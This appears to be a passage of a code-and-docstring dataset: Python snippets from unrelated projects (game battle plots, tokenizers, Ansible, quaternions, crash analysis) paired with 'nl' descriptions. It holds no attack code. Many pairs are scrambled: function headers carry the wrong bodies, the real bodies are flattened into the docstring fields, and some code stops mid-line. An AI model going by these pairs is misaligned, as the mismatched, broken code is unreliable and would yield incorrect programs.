parent=myscene,anchor=pbge.randmaps.anchors.middle))team2 = self.register_element(\"_eteam\", teams.Team(enemies=(team1,)), dident=\"_goalroom\")team2.contents += gears.selector.RandomMechaUnit(35, 50, self.elements[\"ENEMY_FACTION\"],myscene.environment).mecha_listself.add_sub_plot(nart, \"MOCHA_FB_BOSSTALK\")return Truedef start_battle(self, camp):myscene = self.elements[\"LOCALE\"]camp.go(self.elements[\"ENTRANCE\"])boss = self.elements[\"BOSS\"]pos = self.elements[\"_goalroom\"].area.centermyscene.place_actor(boss, pos[0], pos[1], self.elements[\"_eteam\"])def t_ENDCOMBAT(self, camp):myboss = self.elements[\"BOSS\"]if not myboss.is_operational():camp.check_trigger('MOCHAVICTORY')class FinalBattleAgainstBossInWoods(Plot):LABEL = \"MOCHA_FB_WILDBATTLE\"active = Truescope = \"LOCALE\"def custom_init(self, nart):team1 = teams.Team(name=\"Player Team\")myscene = gears.GearHeadScene(30, 30, \"Boss Battle\", player_team=team1, scale=gears.scale.MechaScale)myfilter = pbge.randmaps.converter.BasicConverter(ghterrain.Forest)mymutate = pbge.randmaps.mutator.CellMutator()myarchi = pbge.randmaps.architect.Architecture(ghterrain.Snow, myfilter, mutate=mymutate)myscenegen = pbge.randmaps.SceneGenerator(myscene, myarchi)self.register_scene(nart, myscene, myscenegen, ident=\"LOCALE\")myscene.exploration_music = 'Lines.ogg'myscene.combat_music = 'Late.ogg'myroom = pbge.randmaps.rooms.NoWallRoom(10, 10, parent=myscene, anchor=pbge.randmaps.anchors.south)myent = self.register_element(\"ENTRANCE\", ghwaypoints.Waypoint(anchor=pbge.randmaps.anchors.middle))myroom.contents.append(myent)mygoal = self.register_element(\"_goalroom\", pbge.randmaps.rooms.NoWallRoom(10, 10, parent=myscene,anchor=pbge.randmaps.anchors.middle))team2 = self.register_element(\"_eteam\", teams.Team(enemies=(team1,)), dident=\"_goalroom\")team2.contents += gears.selector.RandomMechaUnit(35, 50, self.elements[\"ENEMY_FACTION\"],myscene.environment).mecha_listself.add_sub_plot(nart, \"MOCHA_FB_BOSSTALK\")return Truedef start_battle(self, camp):myscene = self.elements[\"LOCALE\"]camp.go(self.elements[\"ENTRANCE\"])boss = self.elements[\"BOSS\"]pos = self.elements[\"_goalroom\"].area.centermyscene.place_actor(boss, pos[0], pos[1], self.elements[\"_eteam\"])def t_ENDCOMBAT(self, camp):myboss = self.elements[\"BOSS\"]if not myboss.is_operational():camp.check_trigger('MOCHAVICTORY')# ********************# *** BOSSTALK ***# ********************## The conversation with the boss is separated from the encounter itself# so we don't have to repeat the encounter mechanics for identical# battles with different setups.#class BossyTrashTalk(Plot):LABEL = \"MOCHA_FB_BOSSTALK\"active = Truescope = \"LOCALE\"def BOSS_ACTIVATE(self, camp):ghdialogue.start_conversation(camp, camp.pc, self.elements[\"BOSS_PILOT\"], cue=ghdialogue.ATTACK_STARTER)# Old stuff.class WinterBattle(Plot):# Go fight mecha near Mauna.LABEL = \"OLD_MOCHA_MISSION\"active = Truescope = \"LOCALE\"def custom_init(self, nart):The mission leadup will be two highway scenes with an intro, two"} {"code": "def get_range_slices(self, column_parent, predicate, range, consistency_level):\n pass\n", "nl": "returns a subset of columns for a contiguous range of keys.Parameters:- column_parent- predicate- range- consistency_level"} {"code": "def get_folder(hwnd=None, start_folder=None):", "nl": "Quick interface to the shell's browse-for-folder dialog,optionally starting in a particular folder... warning::At present this interacts badly with TortoiseHg, causing theinterpreter to stack dump."} {"code": "def pos(self):\n return Pos(self.x, self.y)\n\n @property", "nl": " The position of the rect as a Pos object."} {"code": "def parse_item_name(text):", "nl": "Match ':role:`name`' or 'name'm = self._name_rgx.match(text)if m:g = m.groups()if g[1] is None:return g[3], Noneelse:return g[2], g[1]raise ValueError(\"%s is not a item name\" % text)def push_item(name, rest):if not name:returnname, role = parse_item_name(name)items.append((name, list(rest), role))del rest[:]current_func = Nonerest = []for line in content:if not line.strip():continuem = self._name_rgx.match(line)if m and line[m.end():].strip().startswith(':'):push_item(current_func, rest)current_func, line = line[:m.end()], line[m.end():]rest = [line.split(':', 1)[1].strip()]if not rest[0]:rest = []elif not line.startswith(' '):push_item(current_func, rest)current_func = Noneif ',' in line:for func in line.split(','):push_item(func, [])elif line.strip():current_func = lineelif current_func is not None:rest.append(line.strip())push_item(current_func, rest)return itemsdef _parse_index(self, section, content):"} {"code": "def save_test_result(self, results, attr):\n cfg = self.cfg\n name = attr['name']\n path = cfg.test_result_folder\n make_dir(path)\n\n pred = results['predict_labels'] + 1\n store_path = join(path, self.name, name + '.labels')\n make_dir(Path(store_path).parent)\n np.savetxt(store_path, pred.astype(np.int32), fmt='%d')\n\n log.info(\"Saved {} in {}.\".format(name, store_path))\n\n\nclass ShapeNetSplit:\n \"\"\"The class gets data and attributes based on the split and\n", "nl": "Saves the output of a model.Args:results: The output of a model for the datum associated with the attribute passed.attr: The attributes that correspond to the outputs passed in results."} {"code": "def is_permanent_redirect(self):\n return self._next\n\n @property", "nl": "True if this Response one of the permanent versions of redirect.return ('location' in self.headers and self.status_code in (codes.moved_permanently, codes.permanent_redirect))@propertydef next(self):Returns a PreparedRequest for the next request in a redirect chain, if there is one."} {"code": "def test_admin_course_list_view(self):\n user = UserFactory(is_staff=True, is_superuser=True)\n self.client.login(username=user.username, password=\"password\")\n\n course = CourseFactory()\n\n url = reverse(\"admin:courses_course_changelist\")\n response = self.client.get(url, follow=True)\n\n self.assertContains(\n response, course.extended_object.get_title(), status_code=200\n )\n", "nl": "The admin list view of courses should display the title of the related page."} {"code": "def result_group_cached(group_id, failures=False, wait=0, count=None, broker=None):\n if not broker:\n broker = get_broker()\n start = time()\n if count:\n while True:\n if (\n count_group_cached(group_id) == count\n or wait\n and (time() - start) * 1000 >= wait > 0\n ):\n break\n sleep(0.01)\n while True:\n group_list = broker.cache.get(f\"{broker.list_key}:{group_id}:keys\")\n if group_list:\n result_list = []\n for task_key in group_list:\n task = SignedPackage.loads(broker.cache.get(task_key))\n if task[\"success\"] or failures:\n result_list.append(task[\"result\"])\n return result_list\n if (time() - start) * 1000 >= wait >= 0:\n break\n sleep(0.01)\n\n", "nl": "Return a list of results for a task group from the cache backend"} {"code": "def dropout(input_tensor, dropout_prob):\n if dropout_prob is None or dropout_prob == 0.0:\n return input_tensor\n\n output = tf.nn.dropout(input_tensor, 1.0 - dropout_prob)\n return output\n\n", "nl": "Perform dropout.Args:input_tensor: float Tensor.dropout_prob: Python float. The probability of dropping out a value (NOT of*keeping* a dimension as in `tf.nn.dropout`).Returns:A version of `input_tensor` with dropout applied."} {"code": "def _run_strip_accents(self, text):\n if never_split is not None and text in never_split:\n return [text]\n chars = list(text)\n i = 0\n start_new_word = True\n output = []\n while i < len(chars):\n char = chars[i]\n if _is_punctuation(char):\n output.append([char])\n start_new_word = True\n else:\n if start_new_word:\n output.append([])\n start_new_word = False\n output[-1].append(char)\n i += 1\n\n return [\"\".join(x) for x in output]\n", "nl": "Strips accents from a piece of text.text = unicodedata.normalize(\"NFD\", text)output = []for char in text:cat = unicodedata.category(char)if cat == \"Mn\":continueoutput.append(char)return \"\".join(output)def _run_split_on_punc(self, text, never_split=None):Splits punctuation on a piece of text."} {"code": "def from_engine_crash(cls, crash, fuzzing_strategies):\n performed.\"\"\"", "nl": "Create a Crash from a engine.Crash.return Crash(file_path=crash.input_path,crash_time=crash.crash_time,return_code=1,resource_list=[],gestures=[],unsymbolized_crash_stacktrace=utils.decode_to_unicode(crash.stacktrace),arguments=' '.join(crash.reproduce_args),application_command_line='', # TODO(ochang): Write actual command line.fuzzing_strategies=fuzzing_strategies)def __init__(self,file_path,crash_time,return_code,resource_list,gestures,unsymbolized_crash_stacktrace,arguments,application_command_line,http_flag=False,fuzzing_strategies=None):self.file_path = file_pathself.crash_time = crash_timeself.return_code = return_codeself.resource_list = resource_listself.gestures = gesturesself.arguments = argumentsself.fuzzing_strategies = fuzzing_strategiesself.security_flag = Falseself.should_be_ignored = Falseself.filename = os.path.basename(file_path)self.http_flag = http_flagself.application_command_line = application_command_lineself.unsymbolized_crash_stacktrace = unsymbolized_crash_stacktracestate = stack_analyzer.get_crash_data(self.unsymbolized_crash_stacktrace)self.crash_type = state.crash_typeself.crash_address = state.crash_addressself.crash_state = state.crash_stateself.crash_stacktrace = utils.get_crash_stacktrace_output(self.application_command_line, state.crash_stacktrace,self.unsymbolized_crash_stacktrace)self.security_flag = crash_analyzer.is_security_issue(self.unsymbolized_crash_stacktrace, self.crash_type, self.crash_address)self.key = '%s,%s,%s' % (self.crash_type, self.crash_state,self.security_flag)self.should_be_ignored = crash_analyzer.ignore_stacktrace(state.crash_stacktrace)# self.crash_info gets populated in create_testcase; save what we need.self.crash_frames = state.framesself.crash_info = Nonedef is_archived(self):Return true if archive_testcase_in_blobstore(..) was"} {"code": "def get_dependencies(self):\n count = 0\n for f in self.fields:\n if not isinstance(f, OneOf):\n if f.rules == 'REQUIRED':\n count += 1\n return count\n", "nl": "Get list of type names that this structure refers to.deps = []for f in self.fields:deps += f.get_dependencies()return depsdef __str__(self):result = 'typedef struct _%s {\\n' % self.nameif not self.ordered_fields:# Empty structs are not allowed in C standard.# Therefore add a dummy field if an empty message occurs.result += ' char dummy_field;'result += '\\n'.join([str(f) for f in self.ordered_fields])result += '\\n/* @@protoc_insertion_point(struct:%s) */' % self.nameresult += '\\n}'if self.packed:result += ' pb_packed'result += ' %s;' % self.nameif self.packed:result = 'PB_PACKED_STRUCT_START\\n' + resultresult += '\\nPB_PACKED_STRUCT_END'return resultdef types(self):return ''.join([f.types() for f in self.fields])def get_initializer(self, null_init):if not self.ordered_fields:return '{0}'parts = []for field in self.ordered_fields:parts.append(field.get_initializer(null_init))return '{' + ', '.join(parts) + '}'def default_decl(self, declaration_only = False):result = \"\"for field in self.fields:default = field.default_decl(declaration_only)if default is not None:result += default + '\\n'return resultdef count_required_fields(self):Returns number of required fields inside this message"} {"code": "def _fetch_task_var(task_vars, key):\n SPECIAL_TASK_VARS = [\n 'ansible_python_interpreter'\n ]\n if key in task_vars:\n val = task_vars[key]\n if '{' in str(val) and key in SPECIAL_TASK_VARS:\n val = self.templar.template(\n val,\n preserve_trailing_newlines=True,\n escape_backslashes=False\n )\n return val\n\n task_vars = self._get_task_vars()\n if self.delegate_to_hostname is None:\n return _fetch_task_var(task_vars, key)\n else:\n delegated_vars = task_vars['ansible_delegated_vars']\n if self.delegate_to_hostname in delegated_vars:\n task_vars = delegated_vars[self.delegate_to_hostname]\n return _fetch_task_var(task_vars, key)\n", "nl": "Special helper func in case vars can be templated"} {"code": "def height(self):\n return np.array([f.height() for f in self])\n", "nl": "Returns a nparray which is the height of all the objects in the FeatureSet**RETURNS**A numpy array of width values.**EXAMPLE**>>> img = Image(\"NotLenna\")>>> l = img.findLines()>>> l.height()"} {"code": "def boundingRect(self):\n r = self.radius\n b = self.buffer\n return QtCore.QRectF(-r/2 - b, -r/2 - b, r + b*2, r + b*2)\n", "nl": "Return the bounding rect for the connection (plus selection buffer)."} {"code": "def delete_query_connection(self, search_id):\n return_obj = dict()\n try:\n search_id_length = len(search_id.split(':'))\n search_id_values = search_id.split(':')\n if search_id_length in [2, 3]:\n search_session_id, user_session_id = search_id_values[0], search_id_values[1]\n else:\n raise SyntaxError(\"Invalid search_id format : \" + str(search_id))\n\n response = self.api_client.delete_search(search_session_id, user_session_id)\n raw_response = response.read()\n response_code = response.code\n\n if 199 < response_code < 300:\n return_obj['success'] = True\n elif response_code in [500, 503]:\n response_string = raw_response.decode()\n ErrorResponder.fill_error(return_obj, response_string, ['message'], connector=self.connector)\n elif json.loads(raw_response):\n raw_response = json.loads(raw_response)\n response_dict = raw_response['errors'][0]\n ErrorResponder.fill_error(return_obj, response_dict, ['message'], connector=self.connector)\n else:\n raise Exception(raw_response)\n except Exception as err:\n return_obj = dict()\n response_error = err\n ErrorResponder.fill_error(return_obj, response_error, ['message'], connector=self.connector)\n\n return return_obj", "nl": "Function to delete search id if the status in Running:param search_id: str, search id:return: dict"} {"code": "def save(self, filename):\n\n self.autoencoder.save(filename)\n\n\nclass AutoencoderFeatures(PipelineStage):", "nl": "Saves Keras model in HDF5 formatParameters----------filename : stringLocation for saved model"} {"code": "def window_to_ndc(self, pos):\n return list(self._pan)\n\n @pan.setter", "nl": "Return the mouse coordinates in NDC, taking panzoom into account.position = np.asarray(self._normalize(pos))zoom = np.asarray(self._zoom_aspect())pan = np.asarray(self.pan)ndc = ((position / zoom) - pan)return ndc# Pan and zoom# -------------------------------------------------------------------------@propertydef pan(self):Pan translation."} {"code": "def speed_raw(self):\n return self.obj.download_speed\n", "nl": ":return: Download speed in Bytes/Seconds"} {"code": "def IndexedDB_enable(self):\n\t\tsubdom_funcs = self.synchronous_command('IndexedDB.enable')\n\t\treturn subdom_funcs\n", "nl": "Function path: IndexedDB.enableDomain: IndexedDBMethod name: enableNo return value.Description: Enables events from backend."} {"code": "def test_run(self):\n\n @classmethod", "nl": "Run the test.expected_message = f\"Connection ids ['{self.connection_id}'] not declared in the configuration file.\"with pytest.raises(ClickException, match=re.escape(expected_message)):self.run_cli_command(\"run\", \"--connections\", str(self.connection_id), cwd=self._get_cwd())class TestRunFailsWhenConnectionConfigFileNotFound:Test that the command 'aea run --connections' fails when the connection config file is not found."} {"code": "def partition(my_list, n):\n\n try:\n n = int(n)\n my_list = list(my_list)\n except ValueError:\n return [my_list]\n return [my_list[i:i+n] for i in range(0, len(my_list), n)]", "nl": "Partitions a list into sublists, each with n (or fewer) elements.my_list = [1,2,3,4,5]partion(my_list, 2) => [[1,2],[3,4],[5]]"} {"code": "def new_name(self, template=u\"xxx_todo_changeme\"):\n name = template\n while name in self.used_names:\n name = template + unicode(self.numbers.next())\n self.used_names.add(name)\n return name\n", "nl": "Return a string suitable for use as an identifierThe new name is guaranteed not to conflict with other identifiers."} {"code": "def test_is_expression(self):\n self.check(b, a)\n\n b = \"\"\"type( x + y) is d.get('T')\"\"\"\n self.check(b, a)\n", "nl": "b = type(x+y) is d.get('T')a = isinstance(x+y, d.get('T'))"} {"code": "def setup(self) -> None:\n Get the latest status information from device asynchronously.\n\n Method executes the update method for the current receiver type.\n \"\"\"", "nl": "Ensure that configuration is loaded from receiver.async def async_update(self):"} {"code": "def arcball_constrain_to_axis(point, axis):\n point = numpy.array(point, dtype=numpy.float64, copy=False)\n nearest = None\n mx = -1.0\n for axis in axes:\n t = numpy.dot(arcball_constrain_to_axis(point, axis), point)\n if t > mx:\n nearest = axis\n mx = t\n return nearest\n\n\n_EPS = numpy.finfo(float).eps * 4.0\n\n_NEXT_AXIS = [1, 2, 0, 1]\n\n_AXES2TUPLE = {\n 'sxyz': (0, 0, 0, 0), 'sxyx': (0, 0, 1, 0), 'sxzy': (0, 1, 0, 0),\n 'sxzx': (0, 1, 1, 0), 'syzx': (1, 0, 0, 0), 'syzy': (1, 0, 1, 0),\n 'syxz': (1, 1, 0, 0), 'syxy': (1, 1, 1, 0), 'szxy': (2, 0, 0, 0),\n 'szxz': (2, 0, 1, 0), 'szyx': (2, 1, 0, 0), 'szyz': (2, 1, 1, 0),\n 'rzyx': (0, 0, 0, 1), 'rxyx': (0, 0, 1, 1), 'ryzx': (0, 1, 0, 1),\n 'rxzx': (0, 1, 1, 1), 'rxzy': (1, 0, 0, 1), 'ryzy': (1, 0, 1, 1),\n 'rzxy': (1, 1, 0, 1), 'ryxy': (1, 1, 1, 1), 'ryxz': (2, 0, 0, 1),\n 'rzxz': (2, 0, 1, 1), 'rxyz': (2, 1, 0, 1), 'rzyz': (2, 1, 1, 1)}\n\n_TUPLE2AXES = dict((v, k) for k, v in _AXES2TUPLE.items())\n\n", "nl": "Return sphere point perpendicular to axis.v = numpy.array(point, dtype=numpy.float64, copy=True)a = numpy.array(axis, dtype=numpy.float64, copy=True)v -= a * numpy.dot(a, v) # on planen = vector_norm(v)if n > _EPS:if v[2] < 0.0:numpy.negative(v, v)v /= nreturn vif a[2] == 1.0:return numpy.array([1.0, 0.0, 0.0])return unit_vector([-a[1], a[0], 0.0])def arcball_nearest_axis(point, axes):Return axis, which arc is nearest to point."} {"code": "def is_absolute(self):\n if not self._root:\n return False\n return not self._flavour.has_drv or bool(self._drv)\n", "nl": "True if the path is absolute (has both a root and, if applicable,a drive)."} {"code": "def parse_timestamp(value):\n if isinstance(value, (int, float)):\n return datetime.datetime.fromtimestamp(value, tzlocal())\n else:\n try:\n return datetime.datetime.fromtimestamp(float(value), tzlocal())\n except (TypeError, ValueError):\n pass\n try:\n return dateutil.parser.parse(value, tzinfos={'GMT': tzutc()})\n except (TypeError, ValueError) as e:\n raise ValueError('Invalid timestamp \"%s\": %s' % (value, e))\n\n", "nl": "Parse a timestamp into a datetime object.Supported formats:* iso8601* rfc822* epoch (value is an integer)This will return a ``datetime.datetime`` object."} {"code": "def __repr__(self):\n if self.list is None:\n raise TypeError, \"not indexable\"\n found = []\n for item in self.list:\n if item.name == key: found.append(item)\n if not found:\n raise KeyError, key\n if len(found) == 1:\n return found[0]\n else:\n return found\n", "nl": "Return a printable representation.return \"FieldStorage(%r, %r, %r)\" % (self.name, self.filename, self.value)def __iter__(self):return iter(self.keys())def __getattr__(self, name):if name != 'value':raise AttributeError, nameif self.file:self.file.seek(0)value = self.file.read()self.file.seek(0)elif self.list is not None:value = self.listelse:value = Nonereturn valuedef __getitem__(self, key):Dictionary style indexing."} {"code": "def add_metaclass(metaclass):", "nl": "Class decorator for creating a class with a metaclass.def wrapper(cls):orig_vars = cls.__dict__.copy()slots = orig_vars.get('__slots__')if slots is not None:if isinstance(slots, str):slots = [slots]for slots_var in slots:orig_vars.pop(slots_var)orig_vars.pop('__dict__', None)orig_vars.pop('__weakref__', None)return metaclass(cls.__name__, cls.__bases__, orig_vars)return wrapperdef python_2_unicode_compatible(klass):"} {"code": "def get_instance(cls) -> 'DeferredResultRenderer':\n return cls()\n", "nl": "Returns singleton instance"} {"code": "def __truediv__(self, other):\n return Quaternion(q_inv(self.values))\n", "nl": "Operator overloading for division.if isinstance(other, int) or isinstance(other, float):return Quaternion(self.values / other)else:return Quaternion(q_mult(self.values, q_inv(other.values)))def __getitem__(self, select):return Quaternion(self.values[select])def __setitem__(self, select, item):self.values[select] = unit_q(item)#def __delitem__(self, select):#np.delete(self.values, select, axis=0)def inv(self):Inverse of a quaternion."} {"code": "def pw_affine(fromim,toim,fp,tp,tri):\n\n im = toim.copy()\n\n is_color = len(fromim.shape) == 3\n\n im_t = zeros(im.shape, 'uint8')\n\n for t in tri:\n H = homography.Haffine_from_points(tp[:,t],fp[:,t])\n\n if is_color:\n for col in range(fromim.shape[2]):\n im_t[:,:,col] = ndimage.affine_transform(\n fromim[:,:,col],H[:2,:2],(H[0,2],H[1,2]),im.shape[:2])\n else:\n im_t = ndimage.affine_transform(\n fromim,H[:2,:2],(H[0,2],H[1,2]),im.shape[:2])\n\n alpha = alpha_for_triangle(tp[:,t],im.shape[0],im.shape[1])\n\n im[alpha>0] = im_t[alpha>0]\n\n return im\n\n", "nl": " Warp triangular patches from an image.fromim = image to warptoim = destination imagefp = from points in hom. coordinatestp = to points in hom. coordinatestri = triangulation. "} {"code": "def disable(self):\n self.ignore(OTPGlobals.SynchronizeHotkey)\n if __dev__:\n self.ignore(OTPGlobals.DetectGarbageHotkey)\n self.ignore('clock_error')\n self.stopTask()\n taskMgr.remove('frameRateMonitor')\n if self.cr.timeManager == self:\n self.cr.timeManager = None\n del self._gotFirstTimeSync\n DistributedObject.DistributedObject.disable(self)\n", "nl": "This method is called when the DistributedObject is removed fromactive duty and stored in a cache."} {"code": "def __floordiv__(a, b):\n return math.floor(a / b)\n", "nl": "a // breturn math.floor(a / b)def __rfloordiv__(b, a):a // b"} {"code": "def rt_available(rt_table):\n ret = {}\n for line in run(settings.service, \"openvpn\", \"status\")[0].split(\"\\n\"):\n x = re.search(\"'(?P\\\\w+)'\\\\ is\\\\ (?Pnot)?\", line)\n if x:\n ret[x.group(\"vpn\")] = x.group(\"running\") != \"not\"\n\n return ret\n", "nl": "Check if specified routing table is defined.try:subprocess.check_call([settings.ip, \"route\", \"list\", \"table\", rt_table],stdout=subprocess.PIPE,stderr=subprocess.PIPE)return Trueexcept subprocess.CalledProcessError:return Falsedef vpn_status():Gets current VPN status."} {"code": "def get_path(self):\n raise NotImplementedError('Derived must override')\n", "nl": "Return the path of this patch"} {"code": "def _add_comparison_methods(cls):\n method = getattr(self._values, name)\n if 'inplace' in kwargs:\n raise ValueError(\"cannot use inplace with CategoricalIndex\")\n res = method(*args, **kwargs)\n if is_scalar(res):\n return res\n return CategoricalIndex(res, name=self.name)\n\n\nCategoricalIndex._add_numeric_methods_add_sub_disabled()\nCategoricalIndex._add_numeric_methods_disabled()\nCategoricalIndex._add_logical_methods_disabled()\nCategoricalIndex._add_comparison_methods()", "nl": " add in comparison methods def _make_compare(op):opname = '__{op}__'.format(op=op.__name__)def _evaluate_compare(self, other):# if we have a Categorical type, then must have the same# categoriesif isinstance(other, CategoricalIndex):other = other._valueselif isinstance(other, Index):other = self._create_categorical(other._values, dtype=self.dtype)if isinstance(other, (ABCCategorical, np.ndarray,ABCSeries)):if len(self.values) != len(other):raise ValueError(\"Lengths must match to compare\")if isinstance(other, ABCCategorical):if not self.values.is_dtype_equal(other):raise TypeError(\"categorical index comparisons must \"\"have the same categories and ordered \"\"attributes\")result = op(self.values, other)if isinstance(result, ABCSeries):# Dispatch to pd.Categorical returned NotImplemented# and we got a Series back; down-cast to ndarrayresult = result.valuesreturn resultreturn compat.set_function_name(_evaluate_compare, opname, cls)cls.__eq__ = _make_compare(operator.eq)cls.__ne__ = _make_compare(operator.ne)cls.__lt__ = _make_compare(operator.lt)cls.__gt__ = _make_compare(operator.gt)cls.__le__ = _make_compare(operator.le)cls.__ge__ = _make_compare(operator.ge)def _delegate_method(self, name, *args, **kwargs): method delegation to the ._values "} {"code": "def ensure_tensor_name_has_port(node_name):\n return node_name.replace(\":\", \"__port__\").replace(\"^\", \"__hat__\")\n\n", "nl": "Makes sure that a tensor name has :0 if no explicit port exists.m = re.search(r\"(.*):\\d+$\", node_name)if m:name_with_port = node_nameelse:name_with_port = node_name + \":0\"return name_with_portdef unique_node_name_from_input(node_name):Replaces invalid characters in input names to get a unique node name."} {"code": "def literal_eval(node_or_string):\n if isinstance(node_or_string, str):\n node_or_string = parse(node_or_string, mode='eval')\n if isinstance(node_or_string, Expression):\n node_or_string = node_or_string.body", "nl": "Safely evaluate an expression node or a string containing a Pythonexpression. The string or node provided may only consist of the followingPython literal structures: strings, bytes, numbers, tuples, lists, dicts,sets, booleans, and None."} {"code": "def get_email_templates(cls, action, locale=None):\n env = cls._get_env(locale=locale)\n body_html_template = env.get_template(\n cls._get_email_template_path(action, extension='.html'))\n body_text_template = env.get_template(\n cls._get_email_template_path(action, extension='.txt'))\n subject_text_template = env.get_template(\n cls._get_email_template_path(\n action, extension='.txt', subject=True))\n\n return (\n body_html_template, body_text_template, subject_text_template)\n\n @classmethod", "nl": "Returns templates used to compose an email.Args:action: string. AbstractOobEmailResponse action string.locale: string or None. The user's requested locale code.Returns:3-tuple of(body_html_template, body_text_template, subject_text_template).Raises:Exception: if the template system encoutered a problem.ValueError: if the action is invalid."} {"code": "def __init__(self, devices):\n self.excluded_devices = []\n for device in devices:\n if isinstance(device, int):\n self.excluded_devices.append(ExcludedDevice(device))\n elif isinstance(device, ExcludedDevice):\n self.excluded_devices.append(device)\n else:\n raise TypeError(\"Elements of 'devices' must be of type int or ExcludedDevice\")\n super().__init__(Elements.DEVICE_IDS, self.excluded_devices)\n\n @classmethod", "nl": ":param devices::type devices: list[int|ExcludedDevice]"} {"code": "def test(dataset, checkpoint_path, result_path, number_slices=1, volume=False, config=None):\n if config is None:\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n config.allow_soft_placement = True\n tf.logging.set_verbosity(tf.logging.INFO)\n\n batch_size = 1\n number_of_slices = number_slices\n depth_input = number_of_slices\n if number_of_slices < 3:\n depth_input = 3\n\n input_image = tf.placeholder(tf.float32, [batch_size, None, None, depth_input])\n\n with slim.arg_scope(seg_lesion_arg_scope()):\n net, end_points = seg_lesion(input_image, number_slices, volume)\n probabilities = tf.nn.sigmoid(net)\n global_step = tf.Variable(0, name='global_step', trainable=False)\n\n saver = tf.train.Saver([v for v in tf.global_variables() if '-up' not in v.name and '-cr' not in v.name])\n total_time = 0\n\n with tf.Session(config=config) as sess:\n sess.run(tf.global_variables_initializer())\n sess.run(interp_surgery(tf.global_variables()))\n saver.restore(sess, checkpoint_path)\n if not os.path.exists(result_path):\n os.makedirs(result_path)\n for frame in range(0, dataset.get_test_size()):\n img, curr_img = dataset.next_batch(batch_size, 'test')\n curr_ct_scan = curr_img[0][0].split('/')[-2]\n curr_frames = []\n if 1:\n for i in range(number_of_slices):\n curr_frames.append([curr_img[0][i].split('/')[-1].split('.')[0] + '.png'])\n if not os.path.exists(os.path.join(result_path, curr_ct_scan)):\n os.makedirs(os.path.join(result_path, curr_ct_scan))\n image = preprocess_img(curr_img, number_slices)\n res = sess.run(probabilities, feed_dict={input_image: image})\n\n res_np = res.astype(np.float32)[0, :, :, number_of_slices/2]\n\n aux_var = curr_frames[number_of_slices/2][0]\n scipy.misc.imsave(os.path.join(result_path, curr_ct_scan, aux_var), res_np)\n print 'Saving ' + os.path.join(result_path, curr_ct_scan, aux_var)\n\n for i in range(number_of_slices):\n aux_var = curr_frames[i][0]\n if not os.path.exists(os.path.join(result_path, curr_ct_scan, aux_var)):\n res_np = res.astype(np.float32)[0, :, :, i]\n scipy.misc.imsave(os.path.join(result_path, curr_ct_scan, aux_var), res_np)\n print 'Saving ' + os.path.join(result_path, curr_ct_scan, aux_var)\n\n", "nl": "Test one sequenceArgs:dataset: Reference to a Dataset object instancecheckpoint_path: Path of the checkpoint to use for the evaluationresult_path: Path to save the output imagesconfig: Reference to a Configuration object used in the creation of a SessionReturns:net:"} {"code": "def get_session(self):\n return self._loss is not None\n", "nl": "Returns a reference to the TF session for this policy.return self._sessdef loss_initialized(self):Returns whether the loss function has been initialized."} {"code": "def add_args(parser):\n\n Args:\n split (str): name of the split (e.g., train, valid, test)\n \"\"\"", "nl": "Add task-specific arguments to the parser.# fmt: offTranslationTask.add_args(parser)parser.add_argument('--noise',default='random_delete',choices=['random_delete', 'random_mask', 'no_noise', 'full_mask'])def load_dataset(self, split, epoch=0, combine=False, **kwargs):Load a given dataset split."} {"code": "def clean_slug(self):\n slug = self.cleaned_data.get('slug', None)\n if slug is None or len(slug) == 0 and 'title' in self.cleaned_data:\n slug = slugify(self.cleaned_data['title'])\n return slug\n", "nl": "slug title if is not provided"} {"code": "def test_intersphinx(doc_worktree, tmpdir):\n spell_proj = doc_worktree.add_test_project(\"spell\")\n doc_builder = qidoc.builder.DocBuilder(doc_worktree, \"spell\")\n doc_builder.spellcheck = True\n doc_builder.configure()\n with pytest.raises(qidoc.sphinx_project.SphinxBuildError):\n doc_builder.build()\n assert record_messages.find(r\"Found 1 spelling error\\(s\\)\")\n index_rst = os.path.join(spell_proj.path, \"source\", \"index.rst\")\n with open(index_rst, \"r\") as fp:\n contents = fp.read()\n contents = contents.replace(\"missstake\", \"mistake\")\n with open(index_rst, \"w\") as fp:\n fp.write(contents)\n qisys.sh.rm(spell_proj.build_dir)\n doc_builder.configure()\n doc_builder.build()\n\n", "nl": " Test InterSphinx _world_proj = doc_worktree.add_test_project(\"world\")hello_proj = doc_worktree.add_test_project(\"hello\")doc_builder = qidoc.builder.DocBuilder(doc_worktree, \"hello\")doc_builder.werror = Truedoc_builder.configure()doc_builder.build()link = find_link(hello_proj.index_html, \"World intro\")assert os.path.exists(link)doc_builder.install(tmpdir.strpath)link = find_link(tmpdir.join(\"index.html\").strpath, \"World intro\")assert not os.path.isabs(link)assert tmpdir.join(link).check(file=True)def test_spellcheck(doc_worktree, record_messages): Test SpellCheck "} {"code": "def x_is_one():\n", "nl": ">>> x1"} {"code": "def send_welcome_email(user):\n digest = Actions.digest\n do_not_deliver = getattr(digest, 'do_not_deliver', False)\n digest.__func__.do_not_deliver = True\n\n pn = digest(user)\n\n WelcomeEmailRecipient.objects.create(recipient=user)\n\n expander.expand_and_deliver(pn)\n\n digest.__func__.do_not_deliver = do_not_deliver\n\n\nclass Command(BaseCommand):\n args = ''\n help = \"\"\"Schedules sending 24h digest email to anyone who signed up in the last 24h.\"\"\"", "nl": "This doesn't protect against sending twice to the same user. You should call `recipients` and use its returnvalue to get a fresh record of which users haven't received the email yet. This does save a record of whichusers were sent the email, but it doesn't check those records before sending - it's your responsibility tocall `recipients` before calling this."} {"code": "def nearest_unequal_elements(dts, dt):\n if not dts.is_unique:\n raise ValueError(\"dts must be unique\")\n\n if not dts.is_monotonic_increasing:\n raise ValueError(\"dts must be sorted in increasing order\")\n\n if not len(dts):\n return None, None\n\n sortpos = dts.searchsorted(dt, side='left')\n try:\n sortval = dts[sortpos]\n except IndexError:\n return dts[-1], None\n\n if dt < sortval:\n lower_ix = sortpos - 1\n upper_ix = sortpos\n elif dt == sortval:\n lower_ix = sortpos - 1\n upper_ix = sortpos + 1\n else:\n lower_ix = sortpos\n upper_ix = sortpos + 1\n\n lower_value = dts[lower_ix] if lower_ix >= 0 else None\n upper_value = dts[upper_ix] if upper_ix < len(dts) else None\n\n return lower_value, upper_value\n\n", "nl": "Find values in ``dts`` closest but not equal to ``dt``.Returns a pair of (last_before, first_after).When ``dt`` is less than any element in ``dts``, ``last_before`` is None.When ``dt`` is greater any element in ``dts``, ``first_after`` is None.``dts`` must be unique and sorted in increasing order.Parameters----------dts : pd.DatetimeIndexDates in which to search.dt : pd.TimestampDate for which to find bounds."} {"code": "def test_contract_api_dialogue(self):\n _, dialogue = 